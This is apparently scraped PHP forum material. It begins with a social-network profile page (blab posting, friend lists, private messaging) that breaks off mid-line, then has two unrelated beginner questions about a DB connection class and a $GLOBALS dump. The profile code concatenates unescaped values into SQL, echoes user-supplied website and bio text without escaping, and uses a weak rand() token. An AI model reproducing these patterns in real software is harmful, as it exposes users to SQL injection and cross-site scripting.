    ///////  Mechanism to Display Website URL or not  //////////////////////////

    if ($website == "") {

    $website = "";

    } else {

    $website = '<br /><br /><img src="images/websiteIcon.jpg" width="18" height="12" alt="Website URL for ' . $username . '" /> <strong>Website:</strong><br /><a href="http://' . $website . '" target="_blank">' . $website . '</a>'; 

    }

    ///////  Mechanism to Display About me text or not  //////////////////////////

    if ($bio_body == "") {

    $bio_body = "";

    } else {

    $bio_body = '<div class="infoBody">' . $bio_body . '</div>'; 

    }

    ///////  Mechanism to Display Location Info or not  //////////////////////////

    if ($country == "" && $state == "" && $city == "") {

    $locationInfo = "";

    } else {

    $locationInfo = "$city &middot; $state<br />$country ".'<a href="#" onclick="return false" onmousedown="javascript:toggleViewMap(\'google_map\');">view map</a>'; 

    }

} // close while loop

// ------- END WHILE LOOP FOR GETTING THE MEMBER DATA ---------



// ------- POST NEW BLAB TO DATABASE ---------

$blab_outout_msg = "";

if (isset($_POST['blab_field']) && $_POST['blab_field'] != "" && $_POST['blab_field'] != " "){

    

     $blabWipit = $_POST['blabWipit'];

     $sessWipit = base64_decode($_SESSION['wipit']);

     if (!isset($_SESSION['wipit'])) {

         

     } else if ($blabWipit == $sessWipit) {

          // Delete any blabs over 50 for this member

          $sqlDeleteBlabs = mysql_query("SELECT * FROM blabbing WHERE mem_id='$id' ORDER BY blab_date DESC LIMIT 50");

          $bi = 1;

          while ($row = mysql_fetch_array($sqlDeleteBlabs)) {

              $blad_id = $row["id"];

              if ($bi > 20) {

                   $deleteBlabs = mysql_query("DELETE FROM blabbing WHERE id='$blad_id'");

              }

              $bi++;

          }

          // End Delete any blabs over 20 for this member

          $blab_field = $_POST['blab_field'];

          $blab_field = stripslashes($blab_field);

          $blab_field = strip_tags($blab_field);

          $blab_field = mysql_real_escape_string($blab_field);

          $blab_field = str_replace("'", "'", $blab_field);

          $sql = mysql_query("INSERT INTO blabbing (mem_id, the_blab, blab_date) VALUES('$id','$blab_field', now())") or die (mysql_error());

          $blab_outout_msg = "";

          }

}

// ------- END POST NEW BLAB TO DATABASE ---------



// ------- MEMBER BLABS OUTPUT CONSTRUCTION ---------

///////  Mechanism to Display Pic

    if (file_exists($check_pic)) {

    $blab_pic = '<div style="overflow:hidden; height:40px;"><a href="profile.php?id=' . $id . '"><img src="' . $check_pic . '" width="40px" border="0" /></a></div>'; 

    } else {

    $blab_pic = '<div style="overflow:hidden; height:40px;"><a href="profile.php?id=' . $id . '"><img src="' . $default_pic . '" width="40px" border="0" /></a></div>'; 

    }

///////  END Mechanism to Display Pic    

$sql_blabs = mysql_query("SELECT id, mem_id, the_blab, blab_date FROM blabbing WHERE mem_id='$id' ORDER BY blab_date DESC LIMIT 20");



while($row = mysql_fetch_array($sql_blabs)){

    

    $blabid = $row["id"];

    $uid = $row["mem_id"];

    $the_blab = $row["the_blab"];

    $the_blab = ($activeLinkObject -> makeActiveLink($the_blab));

    $blab_date = $row["blab_date"];

    $convertedTime = ($myObject -> convert_datetime($blab_date));

    $whenBlab = ($myObject -> makeAgo($convertedTime));

    

                $blabberDisplayList .= '

                    <table style="background-color:#FFF; border:#999 1px solid; border-top:none;" cellpadding="5" width="100%">

                    <tr>

                    <td width="10%" valign="top">' . $blab_pic . '</td>

                    <td width="90%" valign="top" style="line-height:1.5em;"><span class="greenColor textsize10">' . $whenBlab . ' <a href="profile.php?id=' . $uid . '">' . $username . '</a> said:</span><br />

            ' . $the_blab . '</td>

            </tr></table>';

    

}

// ------- END MEMBER BLABS OUTPUT CONSTRUCTION ---------



// ------- ESTABLISH THE PROFILE INTERACTION TOKEN ---------

$thisRandNum = rand(9999999999999,999999999999999999);

$_SESSION['wipit'] = base64_encode($thisRandNum); // Will always overwrite itself each time this script runs

// ------- END ESTABLISH THE PROFILE INTERACTION TOKEN ---------



// ------- EVALUATE WHAT CONTENT TO PLACE IN THE MEMBER INTERACTION BOX -------------------

// initialize some output variables

$friendLink = "";

$the_blab_form = "";

if (isset($_SESSION['idx']) && $logOptions_id != $id) { // If SESSION idx is set, AND it does not equal the profile owner's ID



    // SQL Query the friend array for the logged in viewer of this profile if not the owner

    $sqlArray = mysql_query("SELECT friend_array FROM myMembers WHERE id='" . $logOptions_id ."' LIMIT 1"); 

    while($row=mysql_fetch_array($sqlArray)) { $iFriend_array = $row["friend_array"]; }

     $iFriend_array = explode(",", $iFriend_array);

    if (in_array($id, $iFriend_array)) { 

        $friendLink = '<a href="#" onclick="return false" onmousedown="javascript:toggleInteractContainers(\'remove_friend\');">Remove Friend</a>';

    } else {

        $friendLink = '<a href="#" onclick="return false" onmousedown="javascript:toggleInteractContainers(\'add_friend\');">Add as Friend</a>';    

    }

    /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

    $interactionBox = '<br /><br /><div class="interactionLinksDiv">

           ' . $friendLink . ' 

           <a href="#" onclick="return false" onmousedown="javascript:toggleInteractContainers(\'private_message\');">Private Message</a>

          </div><br />';

          $the_blab_form = '<div style="background-color:#BDF; border:#999 1px solid; padding:8px;">

          <textarea name="blab_field" rows="3" style="width:99%;"></textarea>

          <strong>Write on ' . $username . '\'s Board (coming soon)</strong>

          </div>';

} else if (isset($_SESSION['idx']) && $logOptions_id == $id) { // If SESSION idx is set, AND it does equal the profile owner's ID

    $interactionBox = '<br /><br /><div class="interactionLinksDiv">

           <a href="#" onclick="return false" onmousedown="javascript:toggleInteractContainers(\'friend_requests\');">Friend Requests</a>

          </div><br />';

          $the_blab_form = ' ' . $blab_outout_msg . '

          <div style="background-color:#BDF; border:#999 1px solid; padding:8px;">

          <form action="profile.php" method="post" enctype="multipart/form-data" name="blab_from">

          <textarea name="blab_field" rows="3" style="width:99%;"></textarea>

          <input name="blabWipit" type="hidden" value="' . $thisRandNum . '" />

          <strong>Blab away ' . $username . '</strong> (220 char max) <input name="submit" type="submit" value="Blab" />

          <div align="right">

          </form></div>';

} else { // If no SESSION id is set, which means we have a person who is not logged in

    $interactionBox = '<div style="border:#CCC 1px solid; padding:5px; background-color:#E4E4E4; color:#999; font-size:11px;">

           <a href="register.php">Sign Up</a> or <a href="login.php">Log In</a> to interact with ' . $username . '

          </div>';

          $the_blab_form = '<div style="background-color:#BDF; border:#999 1px solid; padding:8px;">

          <textarea name="blab_field" rows="3" style="width:99%;"></textarea>

          <a href="register.php">Sign Up</a> or <a href="login.php">Log In</a> to write on ' . $username . '\'s Board

          </div>';

}

// ------- END EVALUATE WHAT CONTENT TO PLACE IN THE MEMBER INTERACTION BOX -------------------



// ------- POPULATE FRIEND DISPLAY LISTS IF THEY HAVE AT LEAST ONE FRIEND -------------------

$friendList = "";

$friendPopBoxList = "";

if ($friend_array  != "") { 

    // ASSEMBLE FRIEND LIST AND LINKS TO VIEW UP TO 6 ON PROFILE

    $friendArray = explode(",", $friend_array);

    $friendCount = count($friendArray);

    $friendArray6 = array_slice($friendArray, 0, 6);

    

    $friendList .= '<div class="infoHeader">' . $username . '\'s Friends (<a href="#" onclick="return false" onmousedown="javascript:toggleViewAllFriends(\'view_all_friends\');">' . $friendCount . '</a>)</div>';

    $i = 0; // create a varible that will tell us how many items we looped over 

     $friendList .= '<div class="infoBody" style="border-bottom:#666 1px solid;"><table id="friendTable" align="center" cellspacing="4"></tr>'; 

    foreach ($friendArray6 as $key => $value) { 

        $i++; // increment $i by one each loop pass 

        $check_pic = 'members/' . $value . '/image01.jpg';

            if (file_exists($check_pic)) {

                $frnd_pic = '<a href="profile.php?id=' . $value . '"><img src="' . $check_pic . '" width="54px" border="1"/></a>';

            } else {

                $frnd_pic = '<a href="profile.php?id=' . $value . '"><img src="members/0/image01.jpg" width="54px" border="1"/></a> &nbsp;';

            }

            $sqlName = mysql_query("SELECT username, firstname FROM myMembers WHERE id='$value' LIMIT 1") or die ("Sorry we had a mysql error!");

            while ($row = mysql_fetch_array($sqlName)) { $friendUserName = substr($row["username"],0,12); $friendFirstName = substr($row["firstname"],0,12);}

            if (!$friendUserName) {$friendUserName = $friendFirstName;} // If username is blank use the firstname... programming changes in v1.32 call for this

            if ($i % 6 == 4){

                $friendList .= '<tr><td><div style="width:56px; height:68px; overflow:hidden;" title="' . $friendUserName . '">

                <a href="profile.php?id=' . $value . '">' . $friendUserName . '</a><br />' . $frnd_pic . '

                </div></td>';  

            } else {

                $friendList .= '<td><div style="width:56px; height:68px; overflow:hidden;" title="' . $friendUserName . '">

                <a href="profile.php?id=' . $value . '">' . $friendUserName . '</a><br />' . $frnd_pic . '

                </div></td>'; 

            }

    } 

     $friendList .= '</tr></table>

     <div align="right"><a href="#" onclick="return false" onmousedown="javascript:toggleViewAllFriends(\'view_all_friends\');">view all</a></div>

     </div>'; 

    // END ASSEMBLE FRIEND LIST... TO VIEW UP TO 6 ON PROFILE

    // ASSEMBLE FRIEND LIST AND LINKS TO VIEW ALL(50 for now until we paginate the array)

    $i = 0;

    $friendArray50 = array_slice($friendArray, 0, 50);

    $friendPopBoxList = '<table id="friendPopBoxTable" width="100%" align="center" cellpadding="6" cellspacing="0">';

    foreach ($friendArray50 as $key => $value) { 

        $i++; // increment $i by one each loop pass 

        $check_pic = 'members/' . $value . '/image01.jpg';

            if (file_exists($check_pic)) {

                $frnd_pic = '<a href="profile.php?id=' . $value . '"><img src="' . $check_pic . '" width="54px" border="1"/></a>';

            } else {

                $frnd_pic = '<a href="profile.php?id=' . $value . '"><img src="members/0/image01.jpg" width="54px" border="1"/></a> &nbsp;';

            }

            $sqlName = mysql_query("SELECT username, firstname, country, state, city FROM myMembers WHERE id='$value' LIMIT 1") or die ("Sorry we had a mysql error!");

            while ($row = mysql_fetch_array($sqlName)) { $funame = $row["username"]; $ffname = $row["firstname"]; $fcountry = $row["country"]; $fstate = $row["state"]; $fcity = $row["city"]; }

            if (!$funame) {$funame = $ffname;} // If username is blank use the firstname... programming changes in v1.32 call for this

                if ($i % 2) {

                    $friendPopBoxList .= '<tr bgcolor="#F4F4F4"><td width="14%" valign="top">

                    <div style="width:56px; height:56px; overflow:hidden;" title="' . $funame . '">' . $frnd_pic . '</div></td>

                     <td width="86%" valign="top"><a href="profile.php?id=' . $value . '">' . $funame . '</a><br /><font size="-2"><em>' . $fcity . '<br />' . $fstate . '<br />' . $fcountry . '</em></font></td>

                    </tr>';  

                } else {

                    $friendPopBoxList .= '<tr bgcolor="#E0E0E0"><td width="14%" valign="top">

                    <div style="width:56px; height:56px; overflow:hidden;" title="' . $funame . '">' . $frnd_pic . '</div></td>

                     <td width="86%" valign="top"><a href="profile.php?id=' . $value . '">' . $funame . '</a><br /><font size="-2"><em>' . $fcity . '<br />' . $fstate . '<br />' . $fcountry . '</em></font></td>

                    </tr>';  

                }

    } 

    $friendPopBoxList .= '</table>';

    // END ASSEMBLE FRIEND LIST AND LINKS TO VIEW ALL(50 for now until we paginate the array)

}

// ------- END POPULATE FRIEND DISPLAY LISTS IF THEY HAVE AT LEAST ONE FRIEND -------------------

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<meta name="Description" content="Profile for <?php echo "$username"; ?>" />

<meta name="Keywords" content="<?php echo "$username, $city, $state, $country"; ?>" />

<meta name="rating" content="General" />

<meta name="ROBOTS" content="All" />

<title>Site Profile for <?php echo "$username"; ?></title>

<link href="style/main.css" rel="stylesheet" type="text/css" />

<link rel="icon" href="favicon.png" type="image/x-icon" />

<link rel="shortcut icon" href="favicon.png" type="image/x-icon" />

<script src="js/jquery-1.4.2.js" type="text/javascript"></script>

<style type="text/css">

<!--

.infoHeader {

    background-color: #BDF;

    font-size:11px;

    font-weight:bold;

    padding:8px;

    border: #999 1px solid;

    border-bottom:none;

    width:200px;

}

.infoBody{

    background-color: #FFF;

    font-size:11px;

    padding:8px;

    border: #999 1px solid;

    border-bottom:none;

    width:200px;

}

/* ------- Interaction Links Class -------- */

.interactionLinksDiv a {

   border:#B9B9B9 1px solid; padding:5px; color:#060; font-size:11px; background-image:url(style/headerBtnsBG.jpg); text-decoration:none;

}

.interactionLinksDiv a:hover {

    border:#090 1px solid; padding:5px; color:#060; font-size:11px; background-image:url(style/headerBtnsBGover.jpg);

}

/* ------- Interaction Containers Class -------- */

.interactContainers {

    padding:8px;

    background-color:#BDF;

    border:#999 1px solid;

    display:none;

}

#add_friend_loader {

    display:none;

}

#remove_friend_loader {

    display:none;

}

#interactionResults {

    display:none;

    font-size:16px;

    padding:8px;

}

#friendTable td{

    font-size:9px;

}

#friendTable td a{

    color:#03C;

    text-decoration:none;

}

#view_all_friends {

    background-image:url(style/opaqueDark.png);

    width:270px;

    padding:20px;

    position:fixed;

    top:150px;

    display:none;

    z-index:100;

    margin-left:50px;

}

#google_map {

    background-image:url(style/opaqueDark.png);

    padding:20px;

    position:fixed;

    top:150px;

    display:none;

    z-index:100;

    margin-left:50px;

}

-->

</style>

<script language="javascript" type="text/javascript">

// jQuery functionality for toggling member interaction containers

function toggleInteractContainers(x) {

        if ($('#'+x).is(":hidden")) {

            $('#'+x).slideDown(200);

        } else {

            $('#'+x).hide();

        }

        $('.interactContainers').hide();

}

function toggleViewAllFriends(x) {

        if ($('#'+x).is(":hidden")) {

            $('#'+x).fadeIn(200);

        } else {

            $('#'+x).fadeOut(200);

        }

}

function toggleViewMap(x) {

        if ($('#'+x).is(":hidden")) {

            $('#'+x).fadeIn(200);

        } else {

            $('#'+x).fadeOut(200);

        }

}

// Friend adding and accepting stuff

var thisRandNum = "<?php echo $thisRandNum; ?>";

var friendRequestURL = "scripts_for_profile/request_as_friend.php";

function addAsFriend(a,b) {

    $("#add_friend_loader").show();

    $.post(friendRequestURL,{ request: "requestFriendship", mem1: a, mem2: b, thisWipit: thisRandNum } ,function(data) {

        $("#add_friend").html(data).show().fadeOut(12000);

    });   

}

function acceptFriendRequest (x) {

    $.post(friendRequestURL,{ request: "acceptFriend", reqID: x, thisWipit: thisRandNum } ,function(data) {

            $("#req"+x).html(data).show();

    });

}

function denyFriendRequest (x) {

    $.post(friendRequestURL,{ request: "denyFriend", reqID: x, thisWipit: thisRandNum } ,function(data) {

           $("#req"+x).html(data).show();

    });

}

// End Friend adding and accepting stuff

// Friend removal stuff

function removeAsFriend(a,b) {

    $("#remove_friend_loader").show();

    $.post(friendRequestURL,{ request: "removeFriendship", mem1: a, mem2: b, thisWipit: thisRandNum } ,function(data) {

        $("#remove_friend").html(data).show().fadeOut(12000);

    });   

}

// End Friend removal stuff

// Start Private Messaging stuff

$('#pmForm').submit(function(){$('input[type=submit]', this).attr('disabled', 'disabled');});

function sendPM ( ) {

      var pmSubject = $("#pmSubject");

      var pmTextArea = $("#pmTextArea");

      var sendername = $("#pm_sender_name");

      var senderid = $("#pm_sender_id");

      var recName = $("#pm_rec_name");

      var recID = $("#pm_rec_id");

      var pm_wipit = $("#pmWipit");

      var url = "scripts_for_profile/private_msg_parse.php";

      if (pmSubject.val() == "") {

           $("#interactionResults").html('<img src="images/round_error.png" alt="Error" width="31" height="30" /> &nbsp; Please type a subject.').show().fadeOut(6000);

      } else if (pmTextArea.val() == "") {

           $("#interactionResults").html('<img src="images/round_error.png" alt="Error" width="31" height="30" /> &nbsp; Please type in your message.').show().fadeOut(6000);

      } else {

           $("#pmFormProcessGif").show();

           $.post(url,{ subject: pmSubject.val(), message: pmTextArea.val(), senderName: sendername.val(), senderID: senderid.val(), rcpntName: recName.val(), rcpntID: recID.val(), thisWipit: pm_wipit.val() } ,           function(data) {

               $('#private_message').slideUp("fast");

               $("#interactionResults").html(data).show().fadeOut(10000);

               document.pmForm.pmTextArea.value='';

               document.pmForm.pmSubject.value='';

               $("#pmFormProcessGif").hide();

           });

      }

}

// End Private Messaging stuff

</script>

</head>

<body>

<?php include_once "header_template.php"; ?>

<table class="mainBodyTable" border="0" align="center" cellpadding="0" cellspacing="0">

  <tr>

    <td width="738" valign="top"><br />

      <table width="98%" border="0" align="center" cellpadding="6">

      <tr>

        <td width="33%" valign="top">

          <?php echo $user_pic; ?>

          <?php echo $bio_body; ?>

          <div class="infoHeader"><?php echo $username; ?>'s Information</div>

          <div class="infoBody">

          <?php echo $locationInfo; ?>

          <?php echo $website; ?>

          <?php echo $youtube; ?>

          <?php echo $facebook; ?>

          </div>

          <?php echo $friendList; ?>

          <div id="view_all_friends">

              <div align="right" style="padding:6px; background-color:#FFF; border-bottom:#666 1px solid;">

                       <div style="display:inline; font-size:14px; font-weight:bold; margin-right:150px;">All Friends</div>

                       <a href="#" onclick="return false" onmousedown="javascript:toggleViewAllFriends('view_all_friends');">close </a>

              </div>

              <div style="background-color:#FFF; height:240px; overflow:auto;">

                   <?php echo $friendPopBoxList; ?>

              </div>

              <div style="padding:6px; background-color:#000; border-top:#666 1px solid; font-size:10px; color: #0F0;">

                       Temporary programming shows 50 maximum. Navigating through the full list is coming soon.

              </div>

         </div>

         <?php echo $twitterWidget; ?>

         <div class="infoBody" style="border-bottom:#999 1px solid;"><?php include_once("ad_200_square.php"); ?></div> 

          </td>

        <td width="67%" valign="top">

          <span style="font-size:16px; font-weight:800;"><?php echo $mainNameLine; ?></span>

         

          <?php echo $interactionBox; ?>

 

          <div class="interactContainers" id="add_friend">

                <div align="right"><a href="#" onclick="return false" onmousedown="javascript:toggleInteractContainers('add_friend');">cancel</a> </div>

                Add <?php echo "$username"; ?> as a friend? &nbsp;

                <a href="#" onclick="return false" onmousedown="javascript:addAsFriend(<?php echo $logOptions_id; ?>, <?php echo $id; ?>);">Yes</a>

                <span id="add_friend_loader"><img src="images/loading.gif" width="28" height="10" alt="Loading" /></span>

          </div>

         

          <div class="interactContainers" id="remove_friend">

                <div align="right"><a href="#" onclick="return false" onmousedown="javascript:toggleInteractContainers('remove_friend');">cancel</a> </div>

                Remove <?php echo "$username"; ?> from your friend list? &nbsp;

                <a href="#" onclick="return false" onmousedown="javascript:removeAsFriend(<?php echo $logOptions_id; ?>, <?php echo $id; ?>);">Yes</a>

                <span id="remove_friend_loader"><img src="images/loading.gif" width="28" height="10" alt="Loading" /></span>

          </div>

         

          <!-- START DIV that serves as an interaction status and results container that only appears when we instruct it to -->

          <div id="interactionResults" style="font-size:15px; padding:10px;"></div>

          <!-- END DIV that serves as an interaction status and results container that only appears when we instruct it to -->

         

          <!-- START DIV that contains the Private Message form -->

          <div class="interactContainers" id="private_message">

<form action="javascript:sendPM();" name="pmForm" id="pmForm" method="post">

<font size="+1">Sending Private Message to <strong><em><?php echo "$username"; ?></em></strong></font><br /><br />

Subject:

<input name="pmSubject" id="pmSubject" type="text" maxlength="64" style="width:98%;" />

Message:

<textarea name="pmTextArea" id="pmTextArea" rows="8" style="width:98%;"></textarea>

  <input name="pm_sender_id" id="pm_sender_id" type="hidden" value="<?php echo $_SESSION['id']; ?>" />

  <input name="pm_sender_name" id="pm_sender_name" type="hidden" value="<?php echo $_SESSION['username']; ?>" />

  <input name="pm_rec_id" id="pm_rec_id" type="hidden" value="<?php echo $id; ?>" />

  <input name="pm_rec_name" id="pm_rec_name" type="hidden" value="<?php echo $username; ?>" />

  <input name="pmWipit" id="pmWipit" type="hidden" value="<?php echo $thisRandNum; ?>" />

  <span id="PMStatus" style="color:#F00;"></span>

  <br /><input name="pmSubmit" type="submit" value="Submit" /> or <a href="#" onclick="return false" onmousedown="javascript:toggleInteractContainers('private_message');">Close</a>

<span id="pmFormProcessGif" style="display:none;"><img src="images/loading.gif" width="28" height="10" alt="Loading" /></span></form>

          </div>

          <!-- END DIV that contains the Private Message form -->

        &n

This topic has been moved to Third Party PHP Scripts.

http://www.phpfreaks.com/forums/index.php?topic=352984.0

Hello all.

 I'm  learning Object oriented php and  found this simple piece of code online but i don't understand why the variable $con must be returned:


Code: [Select]

class Connect
{
   public static function con()
   {
      $con=mysql_connect("localhost","root","");// Connects to DB???
      mysql_query("SET NAMES 'utf8'"); // Sets charset to UTF8
      mysql_select_db("blog"); // Selects the DB
      return $con; // Don't know why $con must be returned, but it wont work without this.
   }
   
}



$con is later used in the script like this from another class to run a Query:

Code: [Select]
mysql_query($somequery,Connect::con());



Thanks for your help.

I have been trying to better understand how php works on a more in depth level, and recently I have been tinkering with arrays.

Using print_r() I have been studying the $GLOBAL array, and I found something I can't seem to find an explanation for.

In my $GLOBALS array there are variables I have set in a configuration file, but never actually made into globals.

Take the following code, and its output for example.


echo "<pre>";
echo print_r($GLOBALS);
echo "</pre>";


The output:
Code: [Select]
Array
(
    [GLOBALS] => Array
 *RECURSION*
    [_POST] => Array
        (
        )

    [_GET] => Array
        (
        )

    [_COOKIE] => Array
        (
            [PHPSESSID] => fai4rtfgdt6o6iaihh62d0pa15
        )

    [_FILES] => Array
        (
        )

    [_SERVER] => Array
        (
            [HTTP_HOST] => DOMAIN
            [HTTP_USER_AGENT] => Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10
            [HTTP_ACCEPT] => text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
            [HTTP_ACCEPT_LANGUAGE] => en-us,en;q=0.5
            [HTTP_ACCEPT_ENCODING] => gzip,deflate
            [HTTP_ACCEPT_CHARSET] => ISO-8859-1,utf-8;q=0.7,*;q=0.7
            [HTTP_KEEP_ALIVE] => 115
            [HTTP_CONNECTION] => keep-alive
            [HTTP_REFERER] => http://DOMAIN/test.php
            [HTTP_COOKIE] => PHPSESSID=fai4rtfgdt6o6iaihh62d0pa15
            [HTTP_CACHE_CONTROL] => max-age=0
            [CONTENT_TYPE] => application/x-www-form-urlencoded
            [CONTENT_LENGTH] => 67
            [PATH] => /sbin:/usr/sbin:/bin:/usr/bin
            [SERVER_SIGNATURE] =>
            [SERVER_SOFTWARE] => Apache
            [SERVER_NAME] => DOMAIN
            [SERVER_ADDR] => IPADDRESS
            [SERVER_PORT] => 80
            [REMOTE_ADDR] => 198.65.168.24
            [DOCUMENT_ROOT] => /home/USER/www/DOMAIN
            [SERVER_ADMIN] => webmaster@DOMAIN
            [SCRIPT_FILENAME] => /home/USER/www/DOMAIN/test.php
            [REMOTE_PORT] => 43272
            [GATEWAY_INTERFACE] => CGI/1.1
            [SERVER_PROTOCOL] => HTTP/1.1
            [REQUEST_METHOD] => POST
            [QUERY_STRING] =>
            [REQUEST_URI] => /test.php
            [SCRIPT_NAME] => /test.php
            [PHP_SELF] => /test.php
            [REQUEST_TIME] => 1286050077
        )

    [date] => October 2, 2010
    [db_date] => 10/02/2010
    [error] => Array
        (
        )

)
1

The 3 items at the bottom.

Code: [Select]
    [date] => October 2, 2010
    [db_date] => 10/02/2010
    [error] => Array

Were set inside of a php config file. My question is, how did they end up in the $GLOBALS array?